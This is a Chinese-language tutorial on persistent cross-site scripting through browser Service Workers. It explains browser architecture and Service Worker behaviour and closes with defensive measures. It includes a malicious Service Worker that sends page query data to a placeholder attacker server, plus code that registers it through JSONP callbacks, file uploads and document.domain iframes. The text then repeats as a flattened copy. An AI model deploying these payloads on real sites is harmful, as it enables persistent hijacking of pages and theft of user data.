持久化xss基础
字数 1566 2025-08-10 08:28:27

持久化XSS基础:利用Service Worker实现持久化跨站脚本攻击

浏览器模型基础

多进程架构

现代浏览器(以Chrome为例)采用多进程模型,主要包含以下进程类型:

  1. Browser Process:浏览器主进程,负责创建和销毁其他进程
  2. GPU Process:处理GPU相关操作
  3. Renderer Process:每个标签页独立进程,负责页面渲染、脚本执行等核心功能
  4. Plugin Process:每个插件独立进程

Renderer Process的多线程

每个Renderer Process包含以下关键线程:

  1. GUI渲染线程:负责渲染HTML元素,与JS引擎线程互斥

    • HTML解析为DOM Tree
    • CSS解析为CSSOM Tree
    • 合并为Render Tree
    • 计算节点几何信息(Layout/Reflow)
    • 绘制页面(Painting/Repaint)
  2. JS引擎线程:执行JavaScript代码,单线程运行

  3. 定时触发线程:处理setTimeout/setInterval计时

  4. 事件触发线程:管理事件队列

  5. 异步请求线程:处理XMLHttpRequest等异步请求

Web Workers简介

Web Worker允许JavaScript创建后台线程,特点包括:

  • 子线程受主线程控制
  • 不能直接操作DOM
  • 运行在与window不同的全局上下文中
  • 限制访问:DOM、部分window属性和方法、document对象等

Service Worker特殊类型

Service Worker是一种特殊的Web Worker,特点包括:

  • 充当Web应用、浏览器和网络间的代理
  • 可拦截和修改网络请求
  • 支持离线体验
  • 可访问推送通知和后台同步API
  • 必须通过HTTPS运行(localhost除外)
  • 内容类型必须是JavaScript(text/javascript, application/x-javascript, application/javascript)

Service Worker技术细节

生命周期

  1. 通过serviceWorkerContainer.register()注册
  2. 生命周期状态:
    • 安装(install)
    • 激活(activate)
    • 空闲(idle)
    • 终止(terminated)
    • 获取(fetch)

作用域限制

  • 默认作用域为注册脚本的路径
  • 最大作用域为Service Worker所在地址
  • 可通过Service-Worker-Allowed header扩展作用域

关键API

  1. fetch事件监听

    self.addEventListener('fetch', function(event) {
      // 拦截和处理请求
    });
    
  2. 响应控制

    event.respondWith(new Response(body, init));
    
  3. 自定义响应

    new Response('<script>恶意代码</script>', {
      headers: { 'Content-Type': 'text/html' }
    });
    

持久化XSS攻击方法

1. JSONP + Service Worker组合攻击

利用JSONP端点注册恶意Service Worker:

// 恶意Service Worker代码
self.addEventListener('install', function(event) {
  console.log('Service Worker安装成功');
});

self.addEventListener('fetch', function(event) {
  event.respondWith(
    new Response('<script>location="http://攻击者服务器?"+btoa(location.search)</script>', {
      headers: { 'Content-Type': 'text/html' }
    })
  );
});

通过JSONP端点注册:

navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('恶意脚本URL')");

2. 文件上传+Service Worker

利用文件上传漏洞上传恶意JS文件,然后注册为Service Worker。

3. 跨域扩展攻击

当存在多个子域名且设置了相同document.domain时:

document.domain = "example.com";
var iframe = document.createElement('iframe');
iframe.src = 'https://sub.example.com/';
iframe.addEventListener("load", function() {
  iframe.contentWindow.eval(
    'navigator.serviceWorker.register("/api/endpoint?callback=self.importScripts(\'恶意脚本URL\')")'
  );
});
document.body.appendChild(iframe);

防御措施

  1. 严格限制Service Worker注册源
  2. 对JSONP端点实施严格的输入过滤
  3. 文件上传严格验证内容类型和内容
  4. 避免不必要的document.domain设置
  5. 实施Content Security Policy (CSP)
  6. 确保所有Service Worker脚本来自可信源

总结

Service Worker提供了强大的网络请求拦截和修改能力,这也使其成为实现持久化XSS的理想工具。攻击者通过结合JSONP、文件上传或跨域技术,可以注册恶意Service Worker实现长期驻留。防御需要从多个层面入手,包括严格的输入验证、合理的权限控制和全面的安全策略实施。

持久化XSS基础:利用Service Worker实现持久化跨站脚本攻击 浏览器模型基础 多进程架构 现代浏览器(以Chrome为例)采用多进程模型,主要包含以下进程类型: Browser Process :浏览器主进程,负责创建和销毁其他进程 GPU Process :处理GPU相关操作 Renderer Process :每个标签页独立进程,负责页面渲染、脚本执行等核心功能 Plugin Process :每个插件独立进程 Renderer Process的多线程 每个Renderer Process包含以下关键线程: GUI渲染线程 :负责渲染HTML元素,与JS引擎线程互斥 HTML解析为DOM Tree CSS解析为CSSOM Tree 合并为Render Tree 计算节点几何信息(Layout/Reflow) 绘制页面(Painting/Repaint) JS引擎线程 :执行JavaScript代码,单线程运行 定时触发线程 :处理setTimeout/setInterval计时 事件触发线程 :管理事件队列 异步请求线程 :处理XMLHttpRequest等异步请求 Web Workers简介 Web Worker允许JavaScript创建后台线程,特点包括: 子线程受主线程控制 不能直接操作DOM 运行在与window不同的全局上下文中 限制访问:DOM、部分window属性和方法、document对象等 Service Worker特殊类型 Service Worker是一种特殊的Web Worker,特点包括: 充当Web应用、浏览器和网络间的代理 可拦截和修改网络请求 支持离线体验 可访问推送通知和后台同步API 必须通过HTTPS运行(localhost除外) 内容类型必须是JavaScript(text/javascript, application/x-javascript, application/javascript) Service Worker技术细节 生命周期 通过 serviceWorkerContainer.register() 注册 生命周期状态: 安装(install) 激活(activate) 空闲(idle) 终止(terminated) 获取(fetch) 作用域限制 默认作用域为注册脚本的路径 最大作用域为Service Worker所在地址 可通过 Service-Worker-Allowed header扩展作用域 关键API fetch事件监听 : 响应控制 : 自定义响应 : 持久化XSS攻击方法 1. JSONP + Service Worker组合攻击 利用JSONP端点注册恶意Service Worker: 通过JSONP端点注册: 2. 文件上传+Service Worker 利用文件上传漏洞上传恶意JS文件,然后注册为Service Worker。 3. 跨域扩展攻击 当存在多个子域名且设置了相同document.domain时: 防御措施 严格限制Service Worker注册源 对JSONP端点实施严格的输入过滤 文件上传严格验证内容类型和内容 避免不必要的document.domain设置 实施Content Security Policy (CSP) 确保所有Service Worker脚本来自可信源 总结 Service Worker提供了强大的网络请求拦截和修改能力,这也使其成为实现持久化XSS的理想工具。攻击者通过结合JSONP、文件上传或跨域技术,可以注册恶意Service Worker实现长期驻留。防御需要从多个层面入手,包括严格的输入验证、合理的权限控制和全面的安全策略实施。